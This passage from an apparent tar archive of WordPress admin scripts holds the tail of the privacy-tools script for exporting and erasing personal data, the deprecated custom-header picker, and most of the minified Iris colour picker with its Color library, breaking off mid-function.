m(e){e=Math.round(100*(0<l?e/l:0)).toString()+"%";a.html(e)}e.preventDefault(),e.stopPropagation(),i.addClass("processing"),n.trigger("blur"),x(r),m(0),w(n,"export-personal-data-processing"),function t(o,s){v.ajax({url:window.ajaxurl,data:{action:"wp-privacy-export-personal-data",exporter:o,id:c,page:s,security:d,sendAsEmail:u},method:"post"}).done(function(e){var a=e.data;e.success?a.done?(m(o),o<l?setTimeout(t(o+1,1)):setTimeout(function(){var e,t;e=a.url,t=h("This user’s personal data export link was sent."),void 0!==e&&(t=h("This user’s personal data export file was downloaded.")),w(n,"export-personal-data-success"),T(r,"notice-success",t,[]),void 0!==e?window.location=e:u||p(h("No personal data export file was generated.")),setTimeout(function(){i.removeClass("processing")},500)},500)):setTimeout(t(o,s+1)):setTimeout(function(){p(e.data)},500)}).fail(function(e,t,a){setTimeout(function(){p(a)},500)})}(1,1)}),v(".remove-personal-data-handle").on("click",function(e){var t=v(this),n=t.parents(".remove-personal-data"),r=t.parents("tr"),a=r.find(".erasure-progress"),i=t.parents(".row-actions"),c=n.data("request-id"),d=n.data("nonce"),l=n.data("erasers-count"),u=!1,p=!1,m=[];function f(){var e=h("An error occurred while attempting to find and erase personal data.");w(n,"remove-personal-data-failed"),T(r,"notice-error",e,[]),setTimeout(function(){i.removeClass("processing")},500)}function g(e){e=Math.round(100*(0<l?e/l:0)).toString()+"%";a.html(e)}e.preventDefault(),e.stopPropagation(),i.addClass("processing"),n.trigger("blur"),x(r),g(0),w(n,"remove-personal-data-processing"),function a(o,s){v.ajax({url:window.ajaxurl,data:{action:"wp-privacy-erase-personal-data",eraser:o,id:c,page:s,security:d},method:"post"}).done(function(e){var t=e.data;e.success?(t.items_removed&&(u=u||t.items_removed),t.items_retained&&(p=p||t.items_retained),t.messages&&(m=m.concat(t.messages)),t.done?(g(o),o<l?setTimeout(a(o+1,1)):setTimeout(function(){var e,t;e=h("No personal data was found for this user."),t="notice-success",w(n,"remove-personal-data-success"),!1===u?!1===p?e=h("No personal data was found for this user."):(e=h("Personal data was found for this user but was not erased."),t="notice-warning"):!1===p?e=h("All of the personal data found for this user was erased."):(e=h("Personal data was found for this user but some of the personal data found was not erased."),t="notice-warning"),T(r,t,e,m),setTimeout(function(){i.removeClass("processing")},500)},500)):setTimeout(a(o,s+1))):setTimeout(function(){f()},500)}).fail(function(){setTimeout(function(){f()},500)})}(1,1)}),v(document).on("click",function(e){var t,a,e=v(e.target),o=e.siblings(".success");if(clearTimeout(r),e.is("button.privacy-text-copy")&&(t=e.closest(".privacy-settings-accordion-panel")).length)try{var s=document.documentElement.scrollTop,n=document.body.scrollTop;window.getSelection().removeAllRanges(),a=document.createRange(),t.addClass("hide-privacy-policy-tutorial"),a.selectNodeContents(t[0]),window.getSelection().addRange(a),document.execCommand("copy"),t.removeClass("hide-privacy-policy-tutorial"),window.getSelection().removeAllRanges(),0<s&&s!==document.documentElement.scrollTop?document.documentElement.scrollTop=s:0<n&&n!==document.body.scrollTop&&(document.body.scrollTop=n),o.addClass("visible"),wp.a11y.speak(h("The suggested policy text has been copied to your clipboard.")),r=setTimeout(function(){o.removeClass("visible")},3e3)}catch(e){}}),v("body.options-privacy-php label[for=create-page]").on("click",function(e){e.preventDefault(),v("input#create-page").trigger("focus")}),v(".privacy-settings-accordion").on("click",".privacy-settings-accordion-trigger",function(){"true"===v(this).attr("aria-expanded")?(v(this).attr("aria-expanded","false"),v("#"+v(this).attr("aria-controls")).attr("hidden",!0)):(v(this).attr("aria-expanded","true"),v("#"+v(this).attr("aria-controls")).attr("hidden",!1))})}); custom-header.js 0000644 00000003747 15222552267 0007665 0 ustar 00 /** * @output wp-admin/js/custom-header.js */ /* global isRtl */ /** * Initializes the custom header selection page. * * @since 3.5.0 * * @deprecated 4.1.0 The page this is used on is never linked to from the UI. * Setting a custom header is completely handled by the Customizer. */ (function($) { var frame; $( function() { // Fetch available headers. var $headers = $('.available-headers'); // Apply jQuery.masonry once the images have loaded. $headers.imagesLoaded( function() { $headers.masonry({ itemSelector: '.default-header', isRTL: !! ( 'undefined' != typeof isRtl && isRtl ) }); }); /** * Opens the 'choose from library' frame and creates it if it doesn't exist. * * @since 3.5.0 * @deprecated 4.1.0 * * @return {void} */ $('#choose-from-library-link').on( 'click', function( event ) { var $el = $(this); event.preventDefault(); // If the media frame already exists, reopen it. if ( frame ) { frame.open(); return; } // Create the media frame. frame = wp.media.frames.customHeader = wp.media({ // Set the title of the modal. title: $el.data('choose'), // Tell the modal to show only images. library: { type: 'image' }, // Customize the submit button. button: { // Set the text of the button. text: $el.data('update'), // Tell the button not to close the modal, since we're // going to refresh the page when the image is selected. close: false } }); /** * Updates the window location to include the selected attachment. * * @since 3.5.0 * @deprecated 4.1.0 * * @return {void} */ frame.on( 'select', function() { // Grab the selected attachment. var attachment = frame.state().get('selection').first(), link = $el.data('updateLink'); // Tell the browser to navigate to the crop step. window.location = link + '&file=' + attachment.id; }); frame.open(); }); }); }(jQuery)); iris.min.js 0000644 00000056133 15222552267 0006652 0 ustar 00 /*! This file is auto-generated */ /*! Iris Color Picker - v1.1.1 - 2021-10-05 * https://github.com/Automattic/Iris * Copyright (c) 2021 Matt Wiebe; Licensed GPLv2 */ !function(a,b){function c(){var b,c,d="backgroundImage";j?k="filter":(b=a('<div id="iris-gradtest" />'),c="linear-gradient(top,#fff,#000)",a.each(l,function(a,e){if(b.css(d,e+c),b.css(d).match("gradient"))return k=a,!1}),!1===k&&(b.css("background","-webkit-gradient(linear,0% 0%,0% 100%,from(#fff),to(#000))"),b.css(d).match("gradient")&&(k="webkit")),b.remove())}function d(a,b){return a="top"===a?"top":"left",b=Array.isArray(b)?b:Array.prototype.slice.call(arguments,1),"webkit"===k?f(a,b):l[k]+"linear-gradient("+a+", "+b.join(", ")+")"}function e(b,c){var d,e,f,h,i,j,k,l,m;b="top"===b?"top":"left",c=Array.isArray(c)?c:Array.prototype.slice.call(arguments,1),d="top"===b?0:1,e=a(this),f=c.length-1,h="filter",i=1===d?"left":"top",j=1===d?"right":"bottom",k=1===d?"height":"width",l='<div class="iris-ie-gradient-shim" style="position:absolute;'+k+":100%;"+i+":%start%;"+j+":%end%;"+h+':%filter%;" data-color:"%color%"></div>',m="","static"===e.css("position")&&e.css({position:"relative"}),c=g(c),a.each(c,function(a,b){var e,g,h;if(a===f)return!1;e=c[a+1],b.stop!==e.stop&&(g=100-parseFloat(e.stop)+"%",b.octoHex=new Color(b.color).toIEOctoHex(),e.octoHex=new Color(e.color).toIEOctoHex(),h="progid:DXImageTransform.Microsoft.Gradient(GradientType="+d+", StartColorStr='"+b.octoHex+"', EndColorStr='"+e.octoHex+"')",m+=l.replace("%start%",b.stop).replace("%end%",g).replace("%filter%",h))}),e.find(".iris-ie-gradient-shim").remove(),a(m).prependTo(e)}function f(b,c){var d=[];return b="top"===b?"0% 0%,0% 100%,":"0% 100%,100% 100%,",c=g(c),a.each(c,function(a,b){d.push("color-stop("+parseFloat(b.stop)/100+", "+b.color+")")}),"-webkit-gradient(linear,"+b+d.join(",")+")"}function g(b){var c=[],d=[],e=[],f=b.length-1;return a.each(b,function(a,b){var e=b,f=!1,g=b.match(/1?[0-9]{1,2}%$/);g&&(e=b.replace(/\s?1?[0-9]{1,2}%$/,""),f=g.shift()),c.push(e),d.push(f)}),!1===d[0]&&(d[0]="0%"),!1===d[f]&&(d[f]="100%"),d=h(d),a.each(d,function(a){e[a]={color:c[a],stop:d[a]}}),e}function h(b){var c,d,e,f,g=0,i=b.length-1,j=0,k=!1;if(b.length<=2||a.inArray(!1,b)<0)return b;for(;j<b.length-1;)k||!1!==b[j]?k&&!1!==b[j]&&(i=j,j=b.length):(g=j-1,k=!0),j++;for(d=i-g,f=parseInt(b[g].replace("%"),10),c=(parseFloat(b[i].replace("%"))-f)/d,j=g+1,e=1;j<i;)b[j]=f+e*c+"%",e++,j++;return h(b)}var i,j,k,l,m,n,o,p,q;if(i='<div class="iris-picker"><div class="iris-picker-inner"><div class="iris-square"><a class="iris-square-value" href="#"><span class="iris-square-handle ui-slider-handle"></span></a><div class="iris-square-inner iris-square-horiz"></div><div class="iris-square-inner iris-square-vert"></div></div><div class="iris-slider iris-strip"><div class="iris-slider-offset"></div></div></div></div>',m='.iris-picker{display:block;position:relative}.iris-picker,.iris-picker *{-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box}input+.iris-picker{margin-top:4px}.iris-error{background-color:#ffafaf}.iris-border{border-radius:3px;border:1px solid #aaa;width:200px;background-color:#fff}.iris-picker-inner{position:absolute;top:0;right:0;left:0;bottom:0}.iris-border .iris-picker-inner{top:10px;right:10px;left:10px;bottom:10px}.iris-picker .iris-square-inner{position:absolute;left:0;right:0;top:0;bottom:0}.iris-picker .iris-square,.iris-picker .iris-slider,.iris-picker .iris-square-inner,.iris-picker .iris-palette{border-radius:3px;box-shadow:inset 0 0 5px rgba(0,0,0,.4);height:100%;width:12.5%;float:left;margin-right:5%}.iris-only-strip .iris-slider{width:100%}.iris-picker .iris-square{width:76%;margin-right:10%;position:relative}.iris-only-strip .iris-square{display:none}.iris-picker .iris-square-inner{width:auto;margin:0}.iris-ie-9 .iris-square,.iris-ie-9 .iris-slider,.iris-ie-9 .iris-square-inner,.iris-ie-9 .iris-palette{box-shadow:none;border-radius:0}.iris-ie-9 .iris-square,.iris-ie-9 .iris-slider,.iris-ie-9 .iris-palette{outline:1px solid rgba(0,0,0,.1)}.iris-ie-lt9 .iris-square,.iris-ie-lt9 .iris-slider,.iris-ie-lt9 .iris-square-inner,.iris-ie-lt9 .iris-palette{outline:1px solid #aaa}.iris-ie-lt9 .iris-square .ui-slider-handle{outline:1px solid #aaa;background-color:#fff;-ms-filter:"alpha(Opacity=30)"}.iris-ie-lt9 .iris-square .iris-square-handle{background:0 0;border:3px solid #fff;-ms-filter:"alpha(Opacity=50)"}.iris-picker .iris-strip{margin-right:0;position:relative}.iris-picker .iris-strip .ui-slider-handle{position:absolute;background:0 0;margin:0;right:-3px;left:-3px;border:4px solid #aaa;border-width:4px 3px;width:auto;height:6px;border-radius:4px;box-shadow:0 1px 2px rgba(0,0,0,.2);opacity:.9;z-index:5;cursor:ns-resize}.iris-strip-horiz .iris-strip .ui-slider-handle{right:auto;left:auto;bottom:-3px;top:-3px;height:auto;width:6px;cursor:ew-resize}.iris-strip .ui-slider-handle:before{content:" ";position:absolute;left:-2px;right:-2px;top:-3px;bottom:-3px;border:2px solid #fff;border-radius:3px}.iris-picker .iris-slider-offset{position:absolute;top:11px;left:0;right:0;bottom:-3px;width:auto;height:auto;background:transparent;border:0;border-radius:0}.iris-strip-horiz .iris-slider-offset{top:0;bottom:0;right:11px;left:-3px}.iris-picker .iris-square-handle{background:transparent;border:5px solid #aaa;border-radius:50%;border-color:rgba(128,128,128,.5);box-shadow:none;width:12px;height:12px;position:absolute;left:-10px;top:-10px;cursor:move;opacity:1;z-index:10}.iris-picker .ui-state-focus .iris-square-handle{opacity:.8}.iris-picker .iris-square-handle:hover{border-color:#999}.iris-picker .iris-square-value:focus .iris-square-handle{box-shadow:0 0 2px rgba(0,0,0,.75);opacity:.8}.iris-picker .iris-square-handle:hover::after{border-color:#fff}.iris-picker .iris-square-handle::after{position:absolute;bottom:-4px;right:-4px;left:-4px;top:-4px;border:3px solid #f9f9f9;border-color:rgba(255,255,255,.8);border-radius:50%;content:" "}.iris-picker .iris-square-value{width:8px;height:8px;position:absolute}.iris-ie-lt9 .iris-square-value,.iris-mozilla .iris-square-value{width:1px;height:1px}.iris-palette-container{position:absolute;bottom:0;left:0;margin:0;padding:0}.iris-border .iris-palette-container{left:10px;bottom:10px}.iris-picker .iris-palette{margin:0;cursor:pointer}.iris-square-handle,.ui-slider-handle{border:0;outline:0}',o=navigator.userAgent.toLowerCase(),p="Microsoft Internet Explorer"===navigator.appName,q=p?parseFloat(o.match(/msie ([0-9]{1,}[\.0-9]{0,})/)[1]):0,j=p&&q<10,k=!1,l=["-moz-","-webkit-","-o-","-ms-"],j&&q<=7)return a.fn.iris=a.noop,void(a.support.iris=!1);a.support.iris=!0,a.fn.gradient=function(){var b=arguments;return this.each(function(){j?e.apply(this,b):a(this).css("backgroundImage",d.apply(this,b))})},a.fn.rainbowGradient=function(b,c){var d,e,f,g;for(b=b||"top",d=a.extend({},{s:100,l:50},c),e="hsl(%h%,"+d.s+"%,"+d.l+"%)",f=0,g=[];f<=360;)g.push(e.replace("%h%",f)),f+=30;return this.each(function(){a(this).gradient(b,g)})},n={options:{color:!1,mode:"hsl",controls:{horiz:"s",vert:"l",strip:"h"},hide:!0,border:!0,target:!1,width:200,palettes:!1,type:"full",slider:"horizontal"},_color:"",_palettes:["#000","#fff","#d33","#d93","#ee2","#81d742","#1e73be","#8224e3"],_inited:!1,_defaultHSLControls:{horiz:"s",vert:"l",strip:"h"},_defaultHSVControls:{horiz:"h",vert:"v",strip:"s"},_scale:{h:360,s:100,l:100,v:100},_create:function(){var b=this,d=b.element,e=b.options.color||d.val();!1===k&&c(),d.is("input")?(b.options.target?b.picker=a(i).appendTo(b.options.target):b.picker=a(i).insertAfter(d),b._addInputListeners(d)):(d.append(i),b.picker=d.find(".iris-picker")),p?9===q?b.picker.addClass("iris-ie-9"):q<=8&&b.picker.addClass("iris-ie-lt9"):o.indexOf("compatible")<0&&o.indexOf("khtml")<0&&o.match(/mozilla/)&&b.picker.addClass("iris-mozilla"),b.options.palettes&&b._addPalettes(),b.onlySlider="hue"===b.options.type,b.horizontalSlider=b.onlySlider&&"horizontal"===b.options.slider,b.onlySlider&&(b.options.controls.strip="h",e||(e="hsl(10,100,50)")),b._color=new Color(e).setHSpace(b.options.mode),b.options.color=b._color.toString(),b.controls={square:b.picker.find(".iris-square"),squareDrag:b.picker.find(".iris-square-value"),horiz:b.picker.find(".iris-square-horiz"),vert:b.picker.find(".iris-square-vert"),strip:b.picker.find(".iris-strip"),stripSlider:b.picker.find(".iris-strip .iris-slider-offset")},"hsv"===b.options.mode&&b._has("l",b.options.controls)?b.options.controls=b._defaultHSVControls:"hsl"===b.options.mode&&b._has("v",b.options.controls)&&(b.options.controls=b._defaultHSLControls),b.hue=b._color.h(),b.options.hide&&b.picker.hide(),b.options.border&&!b.onlySlider&&b.picker.addClass("iris-border"),b._initControls(),b.active="external",b._dimensions(),b._change()},_has:function(b,c){var d=!1;return a.each(c,function(a,c){if(b===c)return d=!0,!1}),d},_addPalettes:function(){var b=a('<div class="iris-palette-container" />'),c=a('<a class="iris-palette" tabindex="0" />'),d=Array.isArray(this.options.palettes)?this.options.palettes:this._palettes;this.picker.find(".iris-palette-container").length&&(b=this.picker.find(".iris-palette-container").detach().html("")),a.each(d,function(a,d){c.clone().data("color",d).css("backgroundColor",d).appendTo(b).height(10).width(10)}),this.picker.append(b)},_paint:function(){var a=this;a.horizontalSlider?a._paintDimension("left","strip"):a._paintDimension("top","strip"),a._paintDimension("top","vert"),a._paintDimension("left","horiz")},_paintDimension:function(a,b){var c,d=this,e=d._color,f=d.options.mode,g=d._getHSpaceColor(),h=d.controls[b],i=d.options.controls;if(b!==d.active&&("square"!==d.active||"strip"===b))switch(i[b]){case"h":if("hsv"===f){switch(g=e.clone(),b){case"horiz":g[i.vert](100);break;case"vert":g[i.horiz](100);break;case"strip":g.setHSpace("hsl")}c=g.toHsl()}else c="strip"===b?{s:g.s,l:g.l}:{s:100,l:g.l};h.rainbowGradient(a,c);break;case"s":"hsv"===f?"vert"===b?c=[e.clone().a(0).s(0).toCSS("rgba"),e.clone().a(1).s(0).toCSS("rgba")]:"strip"===b?c=[e.clone().s(100).toCSS("hsl"),e.clone().s(0).toCSS("hsl")]:"horiz"===b&&(c=["#fff","hsl("+g.h+",100%,50%)"]):c="vert"===b&&"h"===d.options.controls.horiz?["hsla(0, 0%, "+g.l+"%, 0)","hsla(0, 0%, "+g.l+"%, 1)"]:["hsl("+g.h+",0%,50%)","hsl("+g.h+",100%,50%)"],h.gradient(a,c);break;case"l":c="strip"===b?["hsl("+g.h+",100%,100%)","hsl("+g.h+", "+g.s+"%,50%)","hsl("+g.h+",100%,0%)"]:["#fff","rgba(255,255,255,0) 50%","rgba(0,0,0,0) 50%","rgba(0,0,0,1)"],h.gradient(a,c);break;case"v":c="strip"===b?[e.clone().v(100).toCSS(),e.clone().v(0).toCSS()]:["rgba(0,0,0,0)","#000"],h.gradient(a,c)}},_getHSpaceColor:function(){return"hsv"===this.options.mode?this._color.toHsv():this._color.toHsl()},_stripOnlyDimensions:function(){var a=this,b=this.options.width,c=.12*b;a.horizontalSlider?a.picker.css({width:b,height:c}).addClass("iris-only-strip iris-strip-horiz"):a.picker.css({width:c,height:b}).addClass("iris-only-strip iris-strip-vert")},_dimensions:function(b){if("hue"===this.options.type)return this._stripOnlyDimensions();var c,d,e,f,g=this,h=g.options,i=g.controls,j=i.square,k=g.picker.find(".iris-strip"),l="77.5%",m="12%",n=20,o=h.border?h.width-n:h.width,p=Array.isArray(h.palettes)?h.palettes.length:g._palettes.length;if(b&&(j.css("width",""),k.css("width",""),g.picker.css({width:"",height:""})),l=o*(parseFloat(l)/100),m=o*(parseFloat(m)/100),c=h.border?l+n:l,j.width(l).height(l),k.height(l).width(m),g.picker.css({width:h.width,height:c}),!h.palettes)return g.picker.css("paddingBottom","");d=2*l/100,f=l-(p-1)*d,e=f/p,g.picker.find(".iris-palette").each(function(b){var c=0===b?0:d;a(this).css({width:e,height:e,marginLeft:c})}),g.picker.css("paddingBottom",e+d),k.height(e+d+l)},_addInputListeners:function(a){var b=this,c=function(c){var d=new Color(a.val()),e=a.val().replace(/^#/,"");a.removeClass("iris-error"),d.error?""!==e&&a.addClass("iris-error"):d.toString()!==b._color.toString()&&("keyup"===c.type&&e.match(/^[0-9a-fA-F]{3}$/)||b._setOption("color",d.toString()))};a.on("change",c).on("keyup",b._debounce(c,100)),b.options.hide&&a.one("focus",function(){b.show()})},_initControls:function(){var b=this,c=b.controls,d=c.square,e=b.options.controls,f=b._scale[e.strip],g=b.horizontalSlider?"horizontal":"vertical";c.stripSlider.slider({orientation:g,max:f,slide:function(a,c){b.active="strip","h"===e.strip&&"vertical"===g&&(c.value=f-c.value),b._color[e.strip](c.value),b._change.apply(b,arguments)}}),c.squareDrag.draggable({containment:c.square.find(".iris-square-inner"),zIndex:1e3,cursor:"move",drag:function(a,c){b._squareDrag(a,c)},start:function(){d.addClass("iris-dragging"),a(this).addClass("ui-state-focus")},stop:function(){d.removeClass("iris-dragging"),a(this).removeClass("ui-state-focus")}}).on("mousedown mouseup",function(c){var d="ui-state-focus";c.preventDefault(),"mousedown"===c.type?(b.picker.find("."+d).removeClass(d).trigger("blur"),a(this).addClass(d).trigger("focus")):a(this).removeClass(d)}).on("keydown",function(a){var d=c.square,e=c.squareDrag,f=e.position(),g=b.options.width/100;switch(a.altKey&&(g*=10),a.keyCode){case 37:f.left-=g;break;case 38:f.top-=g;break;case 39:f.left+=g;break;case 40:f.top+=g;break;default:return!0}f.left=Math.max(0,Math.min(f.left,d.width())),f.top=Math.max(0,Math.min(f.top,d.height())),e.css(f),b._squareDrag(a,{position:f}),a.preventDefault()}),d.on("mousedown",function(c){var d,e;1===c.which&&a(c.target).is("div")&&(d=b.controls.square.offset(),e={top:c.pageY-d.top,left:c.pageX-d.left},c.preventDefault(),b._squareDrag(c,{position:e}),c.target=b.controls.squareDrag.get(0),b.controls.squareDrag.css(e).trigger(c))}),b.options.palettes&&b._paletteListeners()},_paletteListeners:function(){var b=this;b.picker.find(".iris-palette-container").on("click.palette",".iris-palette",function(){b._color.fromCSS(a(this).data("color")),b.active="external",b._change()}).on("keydown.palette",".iris-palette",function(b){if(13!==b.keyCode&&32!==b.keyCode)return!0;b.stopPropagation(),a(this).trigger("click")})},_squareDrag:function(a,b){var c=this,d=c.options.controls,e=c._squareDimensions(),f=Math.round((e.h-b.position.top)/e.h*c._scale[d.vert]),g=c._scale[d.horiz]-Math.round((e.w-b.position.left)/e.w*c._scale[d.horiz]);c._color[d.horiz](g)[d.vert](f),c.active="square",c._change.apply(c,arguments)},_setOption:function(b,c){var d,e,f=this,g=f.options[b],h=!1;switch(f.options[b]=c,b){case"color":f.onlySlider?(c=parseInt(c,10),c=isNaN(c)||c<0||c>359?g:"hsl("+c+",100,50)",f.options.color=f.options[b]=c,f._color=new Color(c).setHSpace(f.options.mode),f.active="external",f._change()):(c=""+c,c.replace(/^#/,""),d=new Color(c).setHSpace(f.options.mode),d.error?f.options[b]=g:(f._color=d,f.options.color=f.options[b]=f._color.toString(),f.active="external",f._change()));break;case"palettes":h=!0,c?f._addPalettes():f.picker.find(".iris-palette-container").remove(),g||f._paletteListeners();break;case"width":h=!0;break;case"border":h=!0,e=c?"addClass":"removeClass",f.picker[e]("iris-border");break;case"mode":case"controls":if(g===c)return;return e=f.element,g=f.options,g.hide=!f.picker.is(":visible"),f.destroy(),f.picker.remove(),a(f.element).iris(g)}h&&f._dimensions(!0)},_squareDimensions:function(a){var c,d=this.controls.square;return a!==b&&d.data("dimensions")?d.data("dimensions"):(this.controls.squareDrag,c={w:d.width(),h:d.height()},d.data("dimensions",c),c)},_isNonHueControl:function(a,b){return"square"===a&&"h"===this.options.controls.strip||"external"!==b&&("h"!==b||"strip"!==a)},_change:function(){var b=this,c=b.controls,d=b._getHSpaceColor(),e=["square","strip"],f=b.options.controls,g=f[b.active]||"external",h=b.hue;"strip"===b.active?e=[]:"external"!==b.active&&e.pop(),a.each(e,function(a,e){var g,h,i;if(e!==b.active)switch(e){case"strip":g="h"!==f.strip||b.horizontalSlider?d[f.strip]:b._scale[f.strip]-d[f.strip],c.stripSlider.slider("value",g);break;case"square":h=b._squareDimensions(),i={left:d[f.horiz]/b._scale[f.horiz]*h.w,top:h.h-d[f.vert]/b._scale[f.vert]*h.h},b.controls.squareDrag.css(i)}}),d.h!==h&&b._isNonHueControl(b.active,g)&&b._color.h(h),b.hue=b._color.h(),b.options.color=b._color.toString(),b._inited&&b._trigger("change",{type:b.active},{color:b._color}),b.element.is(":input")&&!b._color.error&&(b.element.removeClass("iris-error"),b.onlySlider?b.element.val()!==b.hue&&b.element.val(b.hue):b.element.val()!==b._color.toString()&&b.element.val(b._color.toString())),b._paint(),b._inited=!0,b.active=!1},_debounce:function(a,b,c){var d,e;return function(){var f,g,h=this,i=arguments;return f=function(){d=null,c||(e=a.apply(h,i))},g=c&&!d,clearTimeout(d),d=setTimeout(f,b),g&&(e=a.apply(h,i)),e}},show:function(){this.picker.show()},hide:function(){this.picker.hide()},toggle:function(){this.picker.toggle()},color:function(a){return!0===a?this._color.clone():a===b?this._color.toString():void this.option("color",a)}},a.widget("a8c.iris",n),a('<style id="iris-css">'+m+"</style>").appendTo("head")}(jQuery),function(a,b){var c=function(a,b){return this instanceof c?this._init(a,b):new c(a,b)};c.fn=c.prototype={_color:0,_alpha:1,error:!1,_hsl:{h:0,s:0,l:0},_hsv:{h:0,s:0,v:0},_hSpace:"hsl",_init:function(a){var c="noop";switch(typeof a){case"object":return a.a!==b&&this.a(a.a),c=a.r!==b?"fromRgb":a.l!==b?"fromHsl":a.v!==b?"fromHsv":c,this[c](a);case"string":return this.fromCSS(a);case"number":return this.fromInt(parseInt(a,10))}return this},_error:function(){return this.error=!0,this},clone:function(){for(var a=new c(this.toInt()),b=["_alpha","_hSpace","_hsl","_hsv","error"],d=b.length-1;d>=0;d--)a[b[d]]=this[b[d]];return a},setHSpace:function(a){return this._hSpace="hsv"===a?a:"hsl",this},noop:function(){return this},fromCSS:function(a){var b,c=/^(rgb|hs(l|v))a?\(/;if(this.error=!1,a=a.replace(/^\s+/,"").replace(/\s+$/,"").replace(/;$/,""),a.match(c)&&a.match(/\)$/)){if(b=a.replace(/(\s|%)/g,"").replace(c,"").replace(/,?\);?$/,"").split(","),b.length<3)return this._error();if(4===b.length&&(this.a(parseFloat(b.pop())),this.error))return this;for(var d=b.length-1;d>=0;d--)if(b[d]=parseInt(b[d],10),isNaN(b[d]))return this._error();return a.match(/^rgb/)?this.fromRgb({r:b[0],g:b[1],b:b[2]}):a.match(/^hsv/)?this.fromHsv({h:b[0],s:b[1],v:b[2]}):this.fromHsl({h:b[0],s:b[1],l:b[2]})}return this.fromHex(a)},fromRgb:function(a,c){return"object"!=typeof a||a.r===b||a.g===b||a.b===b?this._error():(this.error=!1,this.fromInt(parseInt((a.r<<16)+(a.g<<8)+a.b,10),c))},fromHex:function(a){return a=a.replace(/^#/,"").replace(/^0x/,""),3===a.length&&(a=a[0]+a[0]+a[1]+a[1]+a[2]+a[2]),this.error=!/^[0-9A-F]{6}$/i.test(a),this.fromInt(parseInt(a,16))},fromHsl:function(a){var c,d,e,f,g,h,i,j;return"object"!=typeof a||a.h===b||a.s===b||a.l===b?this._error():(this._hsl=a,this._hSpace="hsl",h=a.h/360,i=a.s/100,j=a.l/100,0===i?c=d=e=j:(f=j<.5?j*(1+i):j+i-j*i,g=2*j-f,c=this.hue2rgb(g,f,h+1/3),d=this.hue2rgb(g,f,h),e=this.hue2rgb(g,f,h-1/3)),this.fromRgb({r:255*c,g:255*d,b:255*e},!0))},fromHsv:function(a){var c,d,e,f,g,h,i,j,k,l,m;if("object"!=typeof a||a.h===b||a.s===b||a.v===b)return this._error();switch(this._hsv=a,this._hSpace="hsv",c=a.h/360,d=a.s/100,e=a.v/100,i=Math.floor(6*c),j=6*c-i,k=e*(1-d),l=e*(1-j*d),m=e*(1-(1-j)*d),i%6){case 0:f=e,g=m,h=k;break;case 1:f=l,g=e,h=k;break;case 2:f=k,g=e,h=m;break;case 3:f=k,g=l,h=e;break;case 4:f=m,g=k,h=e;break;case 5:f=e,g=k,h=l}return this.fromRgb({r:255*f,g:255*g,b:255*h},!0)},fromInt:function(a,c){return this._color=parseInt(a,10),isNaN(this._color)&&(this._color=0),this._color>16777215?this._color=16777215:this._color<0&&(this._color=0),c===b&&(this._hsv.h=this._hsv.s=this._hsl.h=this._hsl.s=0),this},hue2rgb:function(a,b,c){return c<0&&(c+=1),c>1&&(c-=1),c<1/6?a+6*(b-a)*c:c<.5?b:c<2/3?a+(b-a)*(2/3-c)*6:a},toString:function(){var a=parseInt(this._color,10).toString(16);if(this.error)return"";if(a.length<6)for(var b=6-a.length-1;b>=0;b--)a="0"+a;return"#"+a},toCSS:function(a,b){switch(a=a||"hex",b=parseFloat(b||this._alpha),a){case"rgb":case"rgba":var c=this.toRgb();return b<1?"rgba( "+c.r+", "+c.g+", "+c.b+", "+b+" )":"rgb( "+c.r+", "+c.g+", "+c.b+" )";case"hsl":case"hsla":var d=this.toHsl();return b<1?"hsla( "+d.h+", "+d.s+"%, "+d.l+"%, "+b+" )":"hsl( "+d.h+", "+d.s+"%, "+d.l+"% )";default:return this.toString()}},toRgb:function(){return{r:255&this._color>>16,g:255&this._color>>8,b:255&this._color}},toHsl:function(){var a,b,c=this.toRgb(),d=c.r/255,e=c.g/255,f=c.b/255,g=Math.max(d,e,f),h=Math.min(d,e,f),i=(g+h)/2;if(g===h)a=b=0;else{var j=g-h;switch(b=i>.5?j/(2-g-h):j/(g+h),g){case d:a=(e-f)/j+(e<f?6:0);break;case e:a=(f-d)/j+2;break;case f:a=(d-e)/j+4}a/=6}return a=Math.round(360*a),0===a&&this._hsl.h!==a&&(a=this._hsl.h),b=Math.round(100*b),0===b&&this._hsl.s&&(b=this._hsl.s),{h:a,s:b,l:Math.round(100*i)}},toHsv:function(){var a,b,c=this.toRgb(),d=c.r/255,e=c.g/255,f=c.b/255,g=Math.max(d,e,f),h=Math.min(d,e,f),i=g,j=g-h;if(b=0===g?0:j/g,g===h)a=b=0;else{switch(g){case d:a=(e-f)/j+(e<f?6:0);break;case e:a=(f-d)/j+2;break;case f:a=(d-e)/j+4}a/=6}return a=Math.round(360*a),0===a&&this._hsv.h!==a&&(a=this._hsv.h),b=Math.round(100*b),0===b&&this._hsv.s&&(b=this._hsv.s),{h:a,s:b,v:Math.round(100*i)}},toInt:function(){return this._color},toIEOctoHex:function(){var a=this.toString(),b=parseInt(255*this._alpha,10).toString(16);return 1===b.length&&(b="0"+b),"#"+b+a.replace(/^#/,"")},toLuminosity:function(){var a=this.toRgb(),b={};for(var c in a)if(a.hasOwnProperty(c)){var d=a[c]/255;b[c]=d<=.03928?d/12.92:Math.pow((d+.055)/1.055,2.4)}return.2126*b.r+.7152*b.g+.0722*b.b},getDistanceLuminosityFrom:function(a){if(!(a instanceof c))throw"getDistanceLuminosityFrom requires a Color object";var b=this.toLuminosity(),d=a.toLuminosity();return b>d?(b+.05)/(d+.05):(d+.05)/(b+.05)},getMaxContrastColor:function(){var a=this.getDistanceLuminosityFrom(new c("#000")),b=this.getDistanceLuminosityFrom(new c("#fff"));return new c(a>=b?"#000":"#fff")},getReadableContrastingColor:function(a,d){if(!(a instanceof c))return this;var e,f,g=d===b?5:d,h=a.getDistanceLuminosityFrom(this);if(h>=g)return this;if(e=a.getMaxContrastColor(),e.getDistanceLuminosityFrom(a)<=g)return e;for(f=0===e.toInt()?-1:1;h<g&&(this.l(f,!0),h=this.getDistanceLuminosityFrom(a),0!==this._color&&16777215!==this._color););return this},a:function(a){if(a===b)return this._alpha;var c=parseFloat(a);return isNaN(c)?this._error():(this._alpha=c,this)},darken:function(a){return a=a||5,this.l(-a,!0)},lighten:function(a){return a=a||5,this.l(a,!0)},saturate:function(a){return a=a||15,this.s(a,!0)},desaturate:function(a){return a=a||15,this.s(-a,!0)},toGrayscale:function(){return this.setHSpace("hsl").s(0)},getComplement:function(){return this.h(180,!0)},getSplitComplement:function(a){a=a||1;var b=180+30*a;return this.h(b,!0)},getAnalog:function(a){a=a||1;var b=30*a;return this.h(b,!0)},getTetrad:function(a){a=a||1;var b=60*a;return 